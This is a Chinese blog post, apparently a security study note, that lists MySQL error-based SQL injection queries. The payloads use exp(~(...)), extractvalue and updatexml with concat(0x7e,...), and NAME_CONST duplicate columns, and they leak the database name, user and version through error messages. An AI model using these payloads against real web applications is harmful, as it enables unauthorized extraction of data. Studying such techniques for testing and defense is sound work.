zoukankan      html  css  js  c++  java
  • mysql内一些可以报错注入的查询语句

     
     

    一、exp() 取反参数

    该函数简单来说就是,以e为底的对数,在当传递一个大于709的值时,函数exp()就会引起一个溢出错误,取反则可以导致很小的数值变得很大,比如说0

     这样既可配合使用,exp(其中对随意一个数取反均会是一个大于710的数值)

    因此可以使用 (exp(~(查询语句为)))

    select exp(~(select*from(select database())x));

     高于5.5.5的版本会出现如上的报错,不会查询出当前数据库,这个需要针对特定的版本进行使用:

    二、extractvalue()  两位参数

    Extractvalue(xml_frag, xpath_expr) 函数使用XPath表示法从XML字符串中提取值
    xml_frag: 目标xml文档
    xpath_expr: 利用Xpath路径法表示的查找路径
    具体可查看这篇博客:https://xz.aliyun.com/t/7318#toc-5

    根据该博客,此处我进行了复现与学习,感兴趣的朋友也可以像上面那篇博客学习。

     

    此处长度存在限制,因此该函数常与concat、concat_ws等函数配合使用:

    concat() :

    select concat('大','小');

    concat_ws():

    select concat_ws(',','11','22','33'); #第一个参数应该为连接符

     

    select extractvalue(1,concat(0x7e,(select user()),0x7e)); #拼接的函数可自行替换,需查询的内容也一样可以自行替换

    三、updatexml()  三位参数

    UPDATEXML (XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值
    XML_document:String格式,为XML文档对象的名称
    XPath_string :Xpath格式的字符串
    new_value:String格式,替换查找到的符合条件的数据

     

    使用该语句即可爆出当前数据库名:

    select updatexml('1',concat('~',(select database())),'1');

    四、mysql重复属性

    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

    当有新的报错函数时将会继续更新!!!

  • 相关阅读:
    python 表达式
    anaconda jupyter notebook 启动方法
    python3基本数据类型补充
    Python3 基本数据类型
    pycharm 与 anaconda 关联
    31.Android之常用单位px、dip、sp学习
    30.Android之百度地图简单学习
    29.Android之文本框输入自动提示学习
    28.Android之权限请求汇总
    27.Android之ImageView获取图片学习
  • 原文地址:https://www.cnblogs.com/cute-puli/p/14461322.html
Copyright © 2011-2022 走看看